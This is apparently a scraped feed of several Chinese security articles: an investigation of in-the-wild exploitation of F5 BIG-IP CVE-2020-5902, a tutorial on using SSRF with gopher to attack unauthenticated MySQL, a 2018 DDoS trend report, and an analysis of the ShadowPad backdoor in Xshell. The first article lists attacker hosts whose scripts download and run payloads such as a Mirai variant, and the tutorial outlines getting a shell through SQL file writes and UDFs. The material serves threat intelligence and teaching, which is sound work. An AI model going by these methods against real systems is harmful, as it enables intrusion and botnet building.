Hook完之后,样本调用系统函数时,会先跳到事先准备好的API中,记录好API的相关信息后,再正常调用原API，保证样本正常运行。 | 社区文章 |
**作者：gaoya@360高级攻防实验室
原文链接：<http://noahblog.360.cn/f5-rce-in-wild-investigation/>**
[F5 Networks官方](https://support.f5.com/csp/article/K52145254)在7月1日公布了BIG-IP系统的TMUI接口中存在一个严重的远程代码执行漏洞（CVE-2020-5902）。利用此漏洞的攻击层出不穷，我们对这些事件进行了总结，以期对近日来的事件进行完整阐述。
## 漏洞简述
该漏洞允许未授权的远程攻击者通过向漏洞页面发送特殊构造的数据包，在系统上执行任意系统命令、创建或删除文件、禁用服务等。
根据360安全大脑测绘云(QUAKE网络空间测绘系统)数据，截至2020年7月10日，全球至少有80000台存在此漏洞的资产，具体分布如下图所示：
CVE-2020-5902漏洞分布
通过对该漏洞活跃情况研判，得到其全球态势和漏洞生命周期：
从360安全大脑的全网视野里可以看出，在7月2日漏洞利用细节公布，7月4日开始传播后，7月6日全网受影响设备居于峰值，此后由于缓解措施发布实施，漏洞活跃状态逐步回落。
## 时间线
* 2020-7-1：F5 Networks官方发布通告，缓解措施为在配置文件中添加以下内容：
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
123
* 2020-7-2：漏洞相关技术细节公布
* 2020-7-3：漏洞扫描流量被监测到
* 2020-7-5：[@x4ce在推特上公开披露漏洞利用PoC](https://twitter.com/x4ce/status/1279790599793545216)
* 2020-7-6：metasploit集成exp
* 2020-7-7：[研究人员发现F5官方发布的缓解措施能够被绕过](https://twitter.com/TeamAresSec/status/1280590730684256258)；而监测发现，在推特发布6小时前，野外即有bypass的利用payload；同日，F5官方更新通告，修复后的配置内容为：
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
123
* 7.10日， F5官方再次更新通告，配置更新为：
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
123456
## 漏洞攻击情报
根据[NCC
groups发布的报告](https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/)，7月4日就有攻击者尝试使用该漏洞进行攻击，但攻击者数量较少；360安全大脑专家云的事件调查专家也在国内观测到，在exp公布前几个小时，已经存在利用[twitter上公布的poc](https://twitter.com/joaomatosf/status/1279566951442976768)进行扫描的流量；完整功能的exp公布后，扫描流量也随即改变。
从exp公开发布起的5天内，360就已在国内捕获到超过 **2万次**
CVE-2020-5902的扫描请求，其中绝大部分为通过推特或其他渠道公开获取的PoC或exp以及metasploit
exp。可以看出，该漏洞已经引发了大量关注。截止目前我们 **尚未观测到国内有相关资产已经遭受攻击** 。
尽管绝大多数扫描或攻击行为并非由专业网络攻击者发起，但他们不会错过如此的“大好机会”。仅仅在exp公开（7月5日）后不到一天的时间内，国外安全研究员发现已经开始有攻击者成功地利用漏洞进行攻击。
### 攻击手段
根据我们的观察分析，目前攻击手段主要包括以下几种。
#### 利用cve-2020-5902，下发脚本，下载远程payload执行
我们分析推测，恶意脚本通过fileSave.jsp接口上传到tmp目录，之后利用tmshCmd.jsp接口执行。从手法上来看，此类攻击极有可能是利用msf相关模块进行的。
* Payload地址：http://217.12[.]199[.]179/b.sh
**脚本下发时间** ：2020年7月6日
**脚本内容** ：
**脚本功能** ：
创建crontab（即linux系统的计划任务），从远程地址http://217.12.199[.]179/b.sh获取脚本并执行；该脚本为b.sh的复制，我们推测此任务是为后续脚本下发做准备。
* Payload地址：http://45.77.28[.]70[:]80/inf5.sh
**脚本下发时间** ：2020年7月6日
**脚本内容** ：
（图片来自NCC
group）
inf5.sh
**脚本功能** ：
使用curl命令，从地址http://45.77.28[.]70[:]80/inf5.sh下载脚本执行。
inf5.sh是一个安装脚本，用来在/etc/init.d目录下创建文件network2，释放脚本/etc/.modules/.tmp，并将network2加入开机启动项，最后执行.tmp脚本；network2文件内容即为启动.tmp。
.tmp脚本是一个downloader，用来从目标地址下载demo.txt到/tmp/dvrHelper并执行。dvrHelper是开源的botnet
Mirai修改的一个变种。
* Payload地址：http://103.224.82[.]85[:]8000/zabbix
**脚本下发时间** ：2020年7月6日
**脚本内容** ：
（图片来自NCC
Group）
**脚本功能** ：
从地址http://103.224.82[.]85[:]8000/zabbix下载到/var/log/F5-logcheck，使用touch命令修改时间戳，将/var/log/F5-logcheck加入rc.local开机脚本中并执行。分析时，目标地址已不可用，但根据[国外研究人员获取到的信息](https://twitter.com/buffaloverflow/status/1280258870942760963)，该样本是一个go语言编写的agent和控制器GoMet。
### 利用cve-2020-5902，通过命令或脚本下发php webshell
除了下发脚本执行以外，有的攻击者选择上传webshell以便获取持续的权限。（详见 [RIFT: F5 Networks K52145254: TMUI
RCE vulnerability CVE-2020-5902
Intelligence](https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/)）
### cve-2020-5902结合hsqldb Java反序列化漏洞执行命令
2020年7月7日，有研究人员发现hsqldb
中存在java反序列化漏洞，并结合该漏洞实现了一种新的利用方式。在此利用方式发现后的短时间内，有攻击者利用此方式发起了攻击，并且利用相似的方式绕过了F5
Networks官方通告中的缓解措施；而6小时后，才有研究人员公开宣布，[缓解措施可被绕过](https://twitter.com/TeamAresSec/status/1280553293320781825)。由此可见，在利用CVE-2020-5902进行攻击的人员中，不乏较高能力的攻击者。
### 攻击者关联
我们对网络上公布的攻击事件进行了进一步的分析。在直接利用cve-2020-5902下发的脚本和webshell中，我们认为其中至少三个（payload为inf5.sh和zabbix的脚本，以及bg_status.php）是来自
**同一攻击者/攻击组织** 。
虽然两个脚本内容和功能完全不同，但我们在对inf5.sh脚本进行关联分析时，发现了一个新的脚本（
_dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c_
），该脚本在目标主机中释放了新的payload，并清除了上一阶段释放的文件，其中包括/var/log/F5-logchec*，/etc/init.d/network，/tmp/dvrHelper以及bg_status.php。
清除文件
另外，攻击者在释放新的payload时，使用了与创建webshell相同的手段，即”echo [base64 encoded content] |
base64 –d >
[file]”。因此，结合之前清除的文件名信息，如果该脚本确实来自攻击者，那么可以认为，这些不同的payload是由同一个攻击者在不同时间植入目标系统的。
base64解码释放payload
在对inf5.sh分析时，我们还关联到了另外的IP：45.249.92[.]59。该IP在5月初-6月间被使用；我们分析了相关样本和脚本后认为，这是在45.77.28[.]70之前被用于存放文件的服务器IP，现已关闭。
通过进一步的分析我们发现，该攻击者/攻击组织并非“单线程”攻击：他们还使用相同的手法，[利用TOTOLINK路由器的远程代码执行漏洞对IoT设备进行攻击](https://twitter.com/bad_packets/status/1279611256547143680)，相关payload同样位于服务器45.77.28[.]70上。
从这些行为来看，我们认为，这些攻击背后是一个攻击组织而非个人，主要通过漏洞利用方式入侵linux或IoT设备，目的即为构建僵尸网络以满足其利益需求。
## 小结
根据现有的攻击行为来看，攻击者发起的主要是无差别攻击，通过漏洞对目标系统实施控制，即试图将存在漏洞的系统作为其僵尸网络的一部分，以获取利益。还有一部分攻击者将webshell上传到存在漏洞的系统，来获取进一步的控制。
虽然我们暂未得知是否有更严重的攻击事件出现，但可以推测，攻击者能够通过漏洞上传任意文件、执行任意系统命令，那么，他们同时也具备了窃取敏感信息、文件加密勒索甚至破坏系统的能力。在cve-2020-5902影响如此广泛，并且引起众多攻击者/攻击组织关注的情况下，我们只能推测，这些事件的发生是迟早的，该漏洞的严重程度不可小觑。
尽管F5
Networks在其通告中给出了临时缓解措施并且在不断更新，我们仍然建议将系统版本升级至不受影响的版本（如15.1.0.4），以避免由于新的绕过技术出现导致现有的缓解措施失效，给网络系统带来不必要的损失。
## IoCs
**HASH** bfa96a2ddb39a5e81e32a275aa6fc134030279ddde6c116d41945142328465ab
dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c
**IP** 45.249.92.59 45.249.92.60
**URL** http[:]//217.12.199.179/b.sh http[:]//45.77.28.70:80/inf5.sh
http[:]//103.224.82.85:8000/zabbix
## 参考链接
[1] <https://support.f5.com/csp/article/K52145254>
[2] <https://twitter.com/x4ce/status/1279790599793545216>
[3] <https://twitter.com/TeamAresSec/status/1280590730684256258>
[4] <https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/>
[5] <https://twitter.com/joaomatosf/status/1279566951442976768>
[6] <https://twitter.com/buffaloverflow/status/1280258870942760963>
[7] <https://twitter.com/TeamAresSec/status/1280553293320781825>
[8] <https://twitter.com/bad_packets/status/1279611256547143680>
* * * | 社区文章 |
作者： [xfkxfk@逢魔安全实验室](https://mp.weixin.qq.com/s/9vk-H36erencugdYca9qXA
"xfkxfk@逢魔安全实验室")
#### 01 背景介绍
SSRF(Server-Side Request Forgery)服务端请求伪造，是一种由攻击者构造形成由服务器端发起请求的一个漏洞，一般情况下，SSRF
攻击的目标是从外网无法访问的内部系统。
在互联网上已经很多介绍SSRF漏洞的原理，漏洞场景，漏洞利用方法的文章，但是大多数的SSRF漏洞利用都是内网扫描，内网服务识别，内网漏洞盲打，写计划任务获取shell，写私钥获取shell，利用SSRF漏洞结合Gohper或者Dict协议攻击Redis、MongoDB、Memcache等NoSQL，但是很少见有利用SSRF漏洞攻击内网MySQL、PostgreSQL、MSSQL等关系型数据库，所以本文我们将介绍如何利用SSRF漏洞结合Gopher系统攻击内网未授权MySQL，并且获取系统shell的方法。
#### 02 MySQL通信协议
###### MySQL连接方式：
在进行利用SSRF攻击MySQL之前，先了解一下MySQL的通信协议。MySQL分为服务端和客户端，客户端连接服务器使存在三种方法：
1. Unix套接字；
2. 内存共享/命名管道；
3. TCP/IP套接字；
在Linux或者Unix环境下，当我们输入mysql–uroot
–proot登录MySQL服务器时就是用的Unix套接字连接；Unix套接字其实不是一个网络协议，只能在客户端和Mysql服务器在同一台电脑上才可以使用。
在window系统中客户端和Mysql服务器在同一台电脑上，可以使用命名管道和共享内存的方式。
TCP/IP套接字是在任何系统下都可以使用的方式，也是使用最多的连接方式，当我们输入mysql–h127.0.0.1 –uroot
–proot时就是要TCP/IP套接字。
所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。
###### MySQL认证过程：
MySQL客户端连接并登录服务器时存在两种情况：需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式，服务器先发送salt然后客户端使用salt加密密码然后验证；当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证，未授权情况下进行，本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
MySQL客户端与服务器的交互主要分为两个阶段：Connection Phase（连接阶段或者叫认证阶段）和Command
Phase（命令阶段）。在连接阶段包括握手包和认证包，这里我们不详细说明握手包，主要关注认证数据包。
认证数据包格式如下：
这里以无需密码认证情况登录，看看认证数据包内容：
这里Packet Length为整个数据包的长度，Packet
Number为sequence_id随每个数据包递增，从0开始，命令执行阶段遇到命令重新重置为0。这两个Packet为真个MySQL通协议的基础数据包。
客户端请求命令数据包格式如下：
比如这里`select* from flag;`命令的数据包如下：
#### 03 构造攻击数据包
通过上面MySQL通信协议的分析，现在需要构造一个基于TCP/IP的数据包，包括连接，认证，执行命令，退出等MySQL通信数据。
环境：
ubuntu174.4.0-62-generic #x86_64
mysql Ver 14.14 Distrib 5.7.20, for Linux (x86_64)
首先我们需要新建一个MySQL用户，并且密码为空，使用root用户登录mysql后执行如下命令即可：
CREATEUSER ' usernopass'@'localhost';
GRANTUSAGE ON *.* TO ' usernopass'@'localhost';
GRANTALL ON *.* TO ' usernopass'@'localhost';
上面我们新建了一个用户usernopass，只允许本地登录，接下来开始抓包分析。
第一步开一个窗口抓包：
root@ubuntu17:/#tcpdump–i lo port 3306 –w mysql.pcay
第二步开一个窗口使用TCP/IP模式连接MySQL服务器：
root@ubuntu17:/#mysql–h 127.0.0.1 –r usernopass
为了抓到更多数据，然后随便select一个内容，在exit退出。
第三步使用Wireshark打开上面抓到的mysql.pcap包：
打开数据包后过滤mysql数据包，然后随便选一个mysql数据包邮件追踪流，TCP流，然后过滤出客户端发送到MySQL服务器的数据包，将显示格式调整为原始数据即可，此时获取的就是整个MySQL客户端连接服务器并且执行命令到退出发送的数据包内容，如上图所示。
然后将原始数据整理为一行，并将其url编码，最后的内容如下图所示：
将MySQL原始数据进行编码的脚本如下：
#### 04 利用SSRF获取Shell
上面我们构造好了一堆TCP数据包，如果需要使用SSRF漏洞来攻击MySQL的话，那么我们可以使用gopher协议来发送上面的一堆TCP数据包，最后使用curl发送请求即可。
这里我们select了flag表中的数据，最后构造的请求如下：
但是很多情况下，SSRF是没有回显的，及时发送了数据而且MySQL也执行了，但是我们看不到执行后的返回数据，最后我们要的是系统的一个shell。
正常情况下，通过MySQL获取系统shell一般通过selectinto
outfile系统文件，或者使用udf来搞，那么这里同样我们将获取shell的数据包提取出来，通过gopher协议发送这些数据包同样可以达到getshell的目的。
通过select xxx into outfile
yyy写shell的数据包获取方法同上面构造攻击数据包的过程，将执行完写文件sql语句的抓包内容提取出来构造好即可，如下图成功写shell文件到系统目录：
通过udf直接执行系统命令过程同样，执行完一系列导出udf到plugin的命令后，即可直接执行系统命令执行，如下图所示反弹shell：
（注意：在导出文件时，当前mysql用户必须存在file权限；部分MySQL服务器运行时启用了--secure-file-priv选项，导出文件时只能导出到规定的目录下，一般为/var/mysql/data命令，要自定义目录时必须修改配置文件设置secure-file-priv
= “”；并且导入目录需要有写权限。）
#### 05 实战演练
例如下面这段常见的php代码，经常在审计代码时，遇到这类问题导致的SSRF漏洞，通过这里的SSRF，如果存在未授权的MySQL即可利用上面的攻击方法获取数据库敏感信息，甚至获取系统shell。
将我们构造好的获取信息的请求发送到url参数，结果如下：
可以看到成功获取到了表中的信息，利用导出文件或者udf获取系统shell的方法一样，只要构造好数据包直接发送即可。
此方法再前不久的一个CTF中就有一个SSRF题目，就是利用未授权的MySQL获取数据库中的信息。
#### 06 其他
这里我们只是介绍了如何构造MySQL数据库的数据包，并通过SSRF漏洞进行利益，其实他的关系数据库只要满足类似的场景都是可以利用的，比如PostgreSQL同样可以通过此过程进行攻击，PostgreSQL数据库的具体利用过程这里不再讲解，请期待后续相关内容介绍。
#### 07 参考链接
* <http://codingo.xyz/index.php/2017/12/27/mysql_protocol/>
* <http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/>
* * * | 社区文章 |
作者：云鼎实验室
2018年上半年 DDoS 攻防仍如火如荼发展，以 IoT 设备为反射点的 SSDP 反射放大尚未平息，Memcached DDoS
又异军突起，以最高可达5万的反射放大倍数、峰值可达1.7 Tbps 的攻击流量成为安全界关注的新焦点[1]。DDoS
这一互联网公敌，在各种防御设备围追堵截的情况下，攻击者夜以继日地钻研对抗方法、研究新的攻击方式；而且往平台化、自动化的方向发展，不断增强攻击能力。腾讯安全云鼎实验室主要从2018年上半年
DDoS 攻击情况的全局统计、DDoS 黑色产业链条中的人员分工与自动化操作演进两个方面进行分析阐述。
此外，就目前企业用户面临的严峻的 DDoS 攻击威胁，腾讯云也提出了大禹 GDS 全球一体化 DDoS 防护体系，为用户的业务保驾护航。
#### 一、全局统计分析
##### 1\. 2013~2018年 DDoS 流量峰值情况
DDoS 攻击流量峰值每年都不断地被超越，上半年的一起 Memcached DDoS 攻击，其峰值1.7 Tbps 达到了一个新的高度。虽然已经关闭了大量的
Memcached 的UDP 端口，但其5万的反射放大倍数，仍使攻击者可利用少量未关停 UDP 端口的 Memcached
反射点，打出大流量攻击。所以在短短的三个月里，Memcached DDoS 已成为反射放大的一股主要力量。
（2013~2018年 DDoS 攻击流量峰值统计）
##### 2\. DDoS攻击行业分类情况
随着各行各业的互联网化，DDoS
的攻击面也越来越多，这里我们列出了14种主要行业。游戏行业因其日流水量最大、变现快，一直站在利益的风口浪尖上，当仁不让地成为 DDoS
首选的攻击目标，也是上半年各行业中遭受攻击最多的行业。值得关注的是在医疗、物联网、教育等传统行业互联网化后，也遭受到了不同程度的攻击，且呈上升的趋势。
在游戏行业当中，手机游戏已超过了 PC 客户端游戏成为了 DDoS 攻击的主要目标。H5 游戏的崛起，也成为了 DDoS
的关注点，占整体攻击的1.4%。这里我们首次把游戏的第三方服务归结到游戏中，游戏的飞速发展催生了大量的第三方服务商，包括但不限于游戏虚拟财产买卖平台、数据分析、电竞、美术/音乐外包、游戏云服务、游戏资讯等各个环节。
（2018上半年 DDoS 攻击行业分类情况）
##### 3\. DDoS 攻击的类型占比统计
在攻击类型中，反射放大占比最多，约为55.8%。 Memcached 作为今年三月以来的新兴反射放大力量，迅速被 DDoS
黑产界利用，其在整体的占比中也相当大。反射放大占比如此之多的一个原因是 DDoS 黑产的自动平台化，即无需人工干预，完全自动流程可完成攻击的所有操作。
SYN Flood 排名第二，一直是 DDoS 的主要攻击手法。随着 DDoS 黑产的平台化，SYN Flood
的载体也发生了改变，由海量的肉鸡渐渐转移到了发包机上（以伪造源 IP 的 SYN Flood 为主）。
HTTP Flood 作为7层攻击的主要方式，因为要建立完整的 TCP 连接，不能够伪造源
IP，所以还是以肉鸡侧发动攻击为主。但云鼎实验室监测发现，HTTP Flood
也开始向代理服务器和发包机发展。在互联网上获取海量的代理服务器相比肉鸡的抓取容易很多，以代理服务器频繁地变换真实的IP，再加上交互的模拟，可以使 HTTP
Flood 很难被发现。而发包机的方式，虽不能变换 IP ，但可以频繁变换 UserAgent 的内容，以突破针对 HTTP Flood 的防御。
（2018上半年 DDoS 攻击的类型统计）
下图给出了几种反射放大的反射源地域分布情况。从抽样数据统计可见，LDAP、NTP、Memcached 为主的反射源 Top
10的国家重合度很高，以美国、中国、欧洲国家为主。SSDP 反射源因 IoT 设备的问题，导致其地域分布有所不同。
（反射源地域分布抽样统计）
##### 4\. DDoS 所对应的C2地域分布
近年来国内的互联网安全措施持续加强。通过监控发现，在国内的C2渐渐有外迁的现象。还有一些持有高性能肉鸡的黑客，看到了虚拟货币的逐利远远大于
DDoS攻击，将一部分高性能肉鸡转去挖矿。鉴于以上原因针对用于 DDoS 的 C2 监控难度越来越大。
（C2服务器所在地域情况）
##### 5\. 家族情况
通过对攻击家族的监控，主要以 Xorddos、Billgates 、Mayday 、Dofloo、Nitol、Darkshell 等家族为主。Xorddos
是发起攻击最多的家族，甚至每天多达上万次的攻击，攻击类型多以 SYN Flood 为主、其他攻击类型为辅的组合攻击。Nitol 家族是发起 HTTP
Flood 攻击最多的家族，还会输出 SYN Flood、ICMP Flood、TCP Flood
等攻击。以上家族攻击的统计中，针对各个行业的攻击都有涉猎，游戏行业无疑是攻击的首选。
##### 6\. 被攻击IP的地域情况
DDoS 攻击目标按地域分布统计中，国外受攻击最多的国家是美国，其次是韩国、欧洲国家为主，DDoS 攻击的主要目标还是聚集在互联网发达的国家中。
（2018上半年国外遭受 DDoS 攻击地域分布）
在国内各省的统计来看，受到 DDoS 攻击较多的省份是长三角、珠三角和京津片区，即中国的互联网发达省份，其中以江浙两省最多。
（2018上半年国内遭受 DDoS 攻击地域分布）
##### 7\. 每月百G以上攻击流量情况
以每月的超过百Gbps 的攻击次数统计来看，百Gbps 流量分层占比相差不多。100-200 Gbps 占比最大，基本都在75%以上，而超过300 Gbps
的流量攻击次数较少。
（2018上半年 DDoS 每月超过百 G 攻击占比情况）
##### 8\. 攻击流量带宽分布情况
在攻击流量的分层统计上，1-5G 的攻击次数最多，占比约38%。通过统计可得到，大多数的攻击均为100 Gbps 以下的流量攻击，超过百G
的攻击累计占总攻击次数不到5%。整体的攻击流量平均峰值约在5.2 Gbps 左右。
（2018上半年 DDoS 分层流量的攻击次数统计）
##### 9\. 攻击时长分布占比情况
在攻击时长来看，占比最多是1 min
以下的攻击，约占38.7%。其主要攻击方式是瞬时攻击，即以极大的流量直接瘫痪掉攻击的服务，导致大量用户掉线、延迟、抖动等。5-10 min
也占相当大比例，约28.7%。抽样统计得出，平均攻击时长约1 h，单次攻击最长时长约54天。
（2018上半年 DDoS 发起攻击的时长占比统计）
#### 二、DDoS 黑色产业链条演进
我们从黑产中的人员分工与自动化操作两个方面进行 DDoS 发展的阐述。
##### 1.传统 DDoS 攻击
早期的 DDoS 一般是黑客一个人的游戏，从工具开发、bot 传播、接单、攻击等都独自完成。随着互联网经济的飞速发展，网络攻击获利越来越多，催生了DDoS
攻击的大量需求，例如竞品的攻击、DDoS 勒索等。高额的利益便会催生对应工作的精细化分工，DDoS 的黑产也不例外。我们针对传统 DDoS
攻击的专业化人员分工进行分析：
**发单人：** 也可以称为金主，是 DDoS 攻击后的直接获利者，提出攻击需求。
**担保商：** 也可以称为中间人，是 DDoS
黑产中较出名的人物，在各个不同分工人员间做“信任”担保，与交易环节的资金中转工作。担保商也会自己架设接发单平台或即时通讯工具群等形式来扩大自己的知名度，带来更多的
DDoS 攻击业务。
**接单人：** 也可以称为攻击手，通过操作 C2 服务器或发包机直接发起 DDoS 攻击。
**流量商：** 通过担保商或直接将国外购买的流量服务器售卖给攻击手。
**肉鸡商：** 手头上拥有大量的肉鸡资源，通过担保商或直接将肉鸡售卖/出租给攻击手。
**黑客软件作者：** 开发 botnet 程序，反射放大程序等各种 DDoS 工具。
这样的多种分工，使 DDoS
在技术难度上被拆解，技术门槛降低，部署更容易。同时给互联网安全人员的分析与溯源带来更大的困难。在分析中我们发现，有一些人员也可能同时担当多个角色。
虽然这种比较早期的 DDoS 攻击分工已十分成熟，但还是存在一定的不足之处：
1. 成单难以保障：担保商、接单人都具有不确定性，发单人付费后，可能会存在针对目标的攻击没有效果或根本没有发起攻击的情况，给发单人造成经济损失。
2. 响应周期较长：从发单人提出需求到真正达到攻击效果，需经过发单人、担保商（或其搭建的各种对接平台/即时通讯工具群等）、接单人等几个环节，时间上需要几小时到几天不等。
3. 攻击效果不能保证：攻击手一般手动远程操作 C2 服务器或发包机针对目标服务器进行攻击，攻击手所掌握的botnet 或发包机规模不同，攻击的流量达不到保证。
（传统DDoS的人员分工与攻击流程）
##### 2.目前 DDoS 攻击
鉴于传统 DDoS 攻击的不足，促使了 DDoS 多个环节的自动化发展，页端 DDoS
攻击平台便是发展的结果之一。其高度集成管理，在成单率、响应时长、攻击效果等方面都得到了可行的解决。在人员分工上，有了新的发展：
**担保商** 淡出 DDoS 黑产圈，发单人可直接在页端 DDoS
攻击平台下单、支付费用，且可以根据自己的攻击目标的情况选择攻击方式与流量大小，保障了百分之百的成单率。
**攻击手** 已被自动化的攻击平台取代，不需要手动操作攻击。从发起攻击命令到真正开始攻击，一般延时在10s 左右，再也不用等几小时或几天了。
**发包机**
提供人替代了流量商角色，且完成发包机的程序部署、测试，最终给出发包机的攻击类型、稳定流量、峰值流量等各种定量且稳定的攻击能力。稳定的攻击流量保障了最终的攻击效果。
**站长** 成为了页端 DDoS 攻击平台的核心人员，进行平台的综合管理、部署、运维工作。例如：DDoS
攻击套餐管理、注册用户（金主）管理、攻击效果与流量稳定保障、后续的升级等。
（页端DDoS攻击平台的人员分工与自动化流程）
不同的页端 DDoS
攻击平台也有不同的实现，但其操作流程、核心功能都很相似。下图给出了其技术解读：从此图中可见，用户注册、套餐付费、攻击发起等在用户侧都可以完成，不需要其他人员参与。对比传统
DDoS
攻击来看，已完成了全自动的无人值守攻击方式。在图中调用传统肉鸡的攻击形式很少，主要是调用发包机的攻击方式。发包机中主要配置的是反射放大的各种程序和其对应的反射源列表，偶尔会有伪造源
IP 的 SYN Flood、动态变化 UserAgent 的 HTTP Flood (如 goldeneye 工具)。
（页端反射放大攻击流程）
#### 三、总结与趋势展望
综上所述，上半年的 DDoS 攻击无论从流量的角度还是从次数的角度来看，都上升了一个新的高度。
DDoS 黑色产业链的人员与技术的演进降低了整体 DDoS 入门的门槛，在溯源监控中发现，有的 DDoS 黑产团伙平均年龄 20 岁左右，甚至有未满 16
周岁的学生也是其中的一员。
在 DDoS 的整体防御上，建议用户采用具备大带宽储备和 BGP 资源的云服务商防御方案。如腾讯云大禹拥有30线 BGP IP
接入资源，丰富的场景化防护方案。
随着智能 AI 设备与物联网的飞速发展， DDoS 的新宿主平台不断出现，DDoS 攻防战会越来越激烈。可以预期，2018年下半年 DDoS
会呈现出多样化的发展：
1. 类似于 Memcached DDoS 的新反射放大方式会不断的被曝光与利用；
2. 智能设备的发展会催生出新平台下的 botnet 产生，且这些平台基本防护措施薄弱，更成了DDoS 的温床；
3. 随着打击 DDoS 力度的不断加大， P2P 式僵尸网络或半去中心化变种方式有望重回风口，让 DDoS 难于监控与溯源分析；
4. 基于暗网的 DDoS 平台将逐渐替代目前流行的页端 DDoS 攻击平台，使其平台的存活时间更长。
引文：
[1] 1.7Tbps 流量： <https://asert.arbornetworks.com/netscout-arbor-confirms-1-7-tbps-ddos-attack-terabit-attack-era-upon-us/>
PDF 下载：[《2018上半年互联网 DDoS 攻击趋势分析》](https://share.weiyun.com/5rgeZ1G
"《2018上半年互联网 DDoS 攻击趋势分析》")
* * * | 社区文章 |
作者：[bird@TSRC](https://security.tencent.com/index.php/blog/msg/120)
#### 1\. 前言
近日，Xshell
官方发布[公告](https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html)称其软件中存在后门。我们的实习生同学对该后门进行了详细的分析，确认这是一个具备恶意代码下载执行和数据回传等能力的高级木马。
后门代码存在于 `nssock2.dll` 中，采用了多层加密 shellcode、花指令、线程注入等各种方式逃避杀软查杀和对抗人工分析。总体流程如下
#### 2\. 详细过程分析
##### 2.1 第一层功能分析
通过 BinDiff 跟最新版的 `nssock2.dll` 比较可以很容易的发现一个解密 shellcode 的函数
去掉花指令分析，进入到shellcode后主要功能是先查询 `HKCU\SOFTWARE\%d` 或 `HKLM\SOFTWARE\%d` 下的
`Data` 值是否存在，`%d` 是把硬盘的序列号异或`0xD592FC92`
如果`Data`值存在就用其中的 key 解密第二层的 shellcode 并执行，反之就会发送 DNS 请求获取配置信息存储到 `Data`
键再解密第二层的 shellcode 并执行
获取配置信息时首先通过根据当前年月的 DGA（域名生成算法）生成一个域名，其算法如下
然后会根据 GUID、主机名和用户名等信息生成一个前缀进行加密与之前生成的域名拼接后发送 DNS 请求并获取配置信息
加密主要分两步，第一步如下
第二步如下
DNS服务器为`8.8.8.8`、`8.8.4.4`、`4.2.2.1`、`4.2.2.2`和当前主机的 DNS 服务器，接收到 key 后解密第二层
shellcode 的代码如下
这里非常有意思，算法跟从dll进入第一层 shellcode 时的解密算法一致，想到CTF的套路尝试设为相同的
key，key1为`0xC9BED351`，key2为`0xA85DA1C9`，然后就成功解密出了第二层 shellcode。
##### 2.2 第二层功能分析
根据卡巴斯基的报告，第二层 shellcode 为 `Root` 插件，入口函数很像 `DllMain`
主要功能是先设置异常处理函数，并会把异常记录到
`%ALLUSERSPROFILE%\error.log`，然后初始化函数指针表（会在其他插件中被调用），并加载5个插件
动态调试步入 `load_plugin` 函数就能把5个插件的 shellcode dump 出来，加载完5个插件后会调用ID为 `103`
的插件（Install）的第二个函数
##### 2.3 插件功能分析
###### 2.3.1 Install插件(103)
主要功能是先修改当前进程权限，再调用ID为 `102` 的插件（Config）的第二个函数
另外还会用 `winlogon.exe` 进程的权限创建 `svchost.exe` 进程进行线程注入，调试线程注入的 shellcode
可以先在`VirtualAllocEx`后下断获取到相应进程中的虚拟地址，然后在 `ResumeThread`
时下断，中断后附加相应进程并在之前获取的虚拟地址处下断，执行 `ResumeThread`
后会在之前的虚拟地址处中断，之后就可以继续调试了，初步分析注入的shellcode就是 `Root` 插件
根据磁盘序列号创建互斥体：`Global\% 16-48 random latin characters%`
###### 2.3.2 Plugins插件(101)
主要功能是监听根据磁盘序列号生成的注册表项 `HKLM` 或 `HKCU\SOFTWARE\Microsoft\%5-12 random
characters%`
监听到有值改变后会解密并校验是否是合法的插件并加载和初始化
###### 2.3.3 Config插件(102)
此插件主要是跟配置信息的读写相关，其路径根据磁盘序列号生成，本机是
`C:\ProgramData\MQGOMQQ\TOYMWGMQ\UMGSAIE\DIWEYK` ，在每次初始化插件时都会被重写
默认的 `C&C` 地址是 `dns://www.notped.com`
###### 2.3.4 Online插件(104)
此插件主要是跟 `C&C` 服务器通信并把命令分发到相应的插件执行，首先根据协议类型选择发送请求的插件
如果是 `URL` 就会向根据年月的DGA生成的域名发送 `HTTP` 请求来得到真正的 `C&C` 服务器地址
另外此插件也会收集更详细的主机信息，依次调用
`GetSystemTime`、`gethostbyname`、`GlobalMemroryStatusEx`、`GetNativeSystemInfo`、`GetDiskFreeSpaceExA`、`EnumDisplaySettingsW`、`GetSystemDefaultLCID`、`QueryPerformanceFrequency`、`QueryPerformanceCounter`、`GetCurrentProcessId`、`RtlGetVersion`、`GetSystemMetrics`、`GetNetworkParams`和`GetAccountSid`
###### 2.3.5 DNS插件(203)
此插件主要是用于基于 DNS 协议的 `C&C` 通信
#### 3\. 总结
此后门用了多种手段来增加分析难度，是一个基于插件的完善的攻击平台，请尽快升级到最新版本。以上分析如有谬误之处，欢迎斧正。
#### 4\. 附录
##### 4.1 shellcode字符串解密脚本
from idaapi import *
from ctypes import *
addr = 0x274DFC8
seed = c_uint(Byte(addr) | (Byte(addr + 1) << 8))
result = [None] * 4096
for i in range(4090):
result[i] = chr((seed.value & 0xff) ^ Byte(addr + 2 + i))
seed = c_uint(c_uint(c_uint(0x41120000 * seed.value).value - c_uint(0x434CBEEE * (seed.value >> 16)).value).value - 0x2F878E0F)
end = result.index('\x00')
print ''.join(result[:end])
##### 4.2 IOC相关域名
#### 5\. 参考
<https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html>
<https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf>
* * * | 社区文章 |
# HVV行动之某OA流量应急
##### 译文声明
本文是翻译文章
